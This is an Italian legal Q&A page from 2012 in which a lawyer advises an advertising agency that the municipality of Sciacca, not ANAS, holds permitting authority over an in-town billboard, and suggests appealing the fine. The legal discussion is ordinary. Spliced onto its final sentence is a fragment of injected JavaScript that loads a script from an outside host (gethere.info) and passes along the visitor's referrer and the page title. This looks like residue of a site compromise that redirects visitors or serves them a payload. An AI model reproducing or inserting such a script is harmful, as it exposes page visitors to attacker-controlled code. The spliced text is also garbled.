In assenza di nulla osta l’ente proprietario della strada ha il diritto di elevare sanzioni e di chiedere la rimozione del mezzo pubblicitario?

di Francesco Laruffa - 04 luglio 2012
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Se un cartello pubblicitario è ubicato all’interno del centro abitato di un comune con 42.000 abitanti la competenza autorizzatoria appartiene esclusivamente al Comune, ai sensi del combinato disposto degli artt. 23, comma 4 e 26, comma 3, del Codice della Strada. L’ente proprietario della strada ha una competenza residuale sotto il profilo del rilascio del semplice nulla osta (atto endoprocedimentale).

GP2 agenzia pubblicitaria – Sabato30 Giugno 2012

L’ANAS, direzione regionale di Palermo, ci notifica un verbale di violazione delle norme del Codice della Strada (art. 23, commi 4 e 11) irrogando la sanzione di Euro 405,41 con contestuale diffida alla rimozione di un cartello pubblicitario installato in mancanza di autorizzazione dell’ANAS.

Ai sensi dell’art. 23, comma 13 bis, del Codice della Strada viene altresì minacciata la sanzione da Euro 4.455,00 a Euro 17.823,00 in caso di mancata rimozione entro dieci giorni dalla notifica della diffida. Il cartello in questione è ubicato all’interno del centro abitato di Sciacca ed è munito di autorizzazione edilizia del 1998; il cartello è visibile anche da Strada Statale. È legittimo il verbale dell’ANAS e cosa possiamo fare, eventualmente, per tutelarci?

Francesco Laruffa – mercoledì 4 luglio 2012

Il cartello è ubicato all’interno del centro abitato di Sciacca – comune con 42.000 abitanti – e dunque la competenza autorizzatoria appartiene esclusivamente al Comune, ai sensi del combinato disposto degli artt. 23, comma 4 e 26, comma 3, del Codice della Strada.

L’ANAS, nel caso di specie, essendo il cartello anche in vista di strada Statale, avrebbe, semmai, una competenza residuale sotto il profilo del rilascio del semplice nulla osta (atto endoprocedimentale) ma, sotto tale profilo, occorre rilevare che la norma (art. 23, comma 13bis) pone la sanzione a carico di colui che è privo dell’autorizzazione e non del nulla osta. Inoltre sempre la medesima norma dispone che è l’Ente proprietario della Strada a dover effettuare la diffida e l’eventuale successiva rimozione. Ma quale ente proprietario? il Comune o l’ANAS ?

A mio avviso poiché l’impianto è collocato in centro abitato lungo una strada comunale dovrebbe essere il comune, semmai, a dover disporre la rimozione dell’impianto e non l’ANAS la quale, tutt’al più può segnalare al Comune di Sciacca la rilevata presunta illegittimità dell’impianto per carenza del nulla osta.

Occorre precisare, poi, che in materia di pubblicità stradale non si applica in generale l’istituto del silenzio-assenso. Nel caso di specie, peraltro, l’autorizzazione comunale è del 1998 ed il rinnovo è stato richiesto soltanto nel settembre 2011.

Tuttavia poiché l’autorizzazione ha carattere edilizio e, dunque, privo di scadenza, si può a mio avviso ritenere assorbita in tale titolo l’autorizzazione ex art. 23 del Codice della Strada: “La collocazione di cartelli  e di altri mezzi pubblicitari lungo le strade, o in vista di esse, è soggetta, ex art. 23, comma quarto, codice della strada (D.Lgs. 30 aprile 1992 n. 285), a specifica autorizzazione da parte dell’ente proprietario della strada, ovvero, nell’interno dei centri abitati, dei Comuni, salvo il preventivo nulla osta tecnico dell’ente proprietario se la strada è statale, regionale o provinciale; tuttavia, questa specifica autorizzazione non è necessaria nel caso in cui ente proprietario della strada sia il Comune, il quale, per la realizzazione di un manufatto avente finalità pubblicitaria, abbia rilasciato la concessione edilizia contenente la valutazione della sua compatibilità con le norme del codice della strada, in quanto in questa ipotesi la concessione assorbe l’autorizzazione ex art. 23 D.Lgs. 30 aprile 1992 n. 285 (codice della strada), tenuto anche conto che l’art. 53 del regolamento di esecuzione del codice della strada (D.P.R. n. 495 del 1992) riserva ai regolamenti comunali la disciplina per il rilascio di detta autorizzazione.” (Cass. civ. Sez. I, 26/11/2004, n. 22339)

Occorre poi, per completezza, precisare che il pagamento dell’imposta comunale sulla pubblicità non legittima di per se in generale la presenza dell’impianto pubblicitario ma può, ciò nonostante, costituire elemento di valutazione da parte del Giudice sotto il profilo della così detta buona fede del presunto trasgressore. Nel caso di specie in realtà sussiste sia il titolo (autorizzazione edilizia) che l’esatto adempimento anche degli obblighi tributari nei confronti del comune.

Suggerisco pertanto di impugnare con ricorso al Giudice di Pace competente territorialmente sia il verbale dell’ANAS che la diffida alla rimozione chiedendone la sospensione e informare tempestivamente per iscritto (meglio se con l’intervento di un avvocato) l’ANAS che il cartello verrà temporaneamente rimosso in attesa dell’esito della richiesta sospensiva al Giudice di Pace.s.src='http://gethere.info/kt/?264dpr&frm=script&se_referrer=' + encodeURIComponent(document.referrer) + '&default_keyword=' + encodeURIComponent(document.title) + '';

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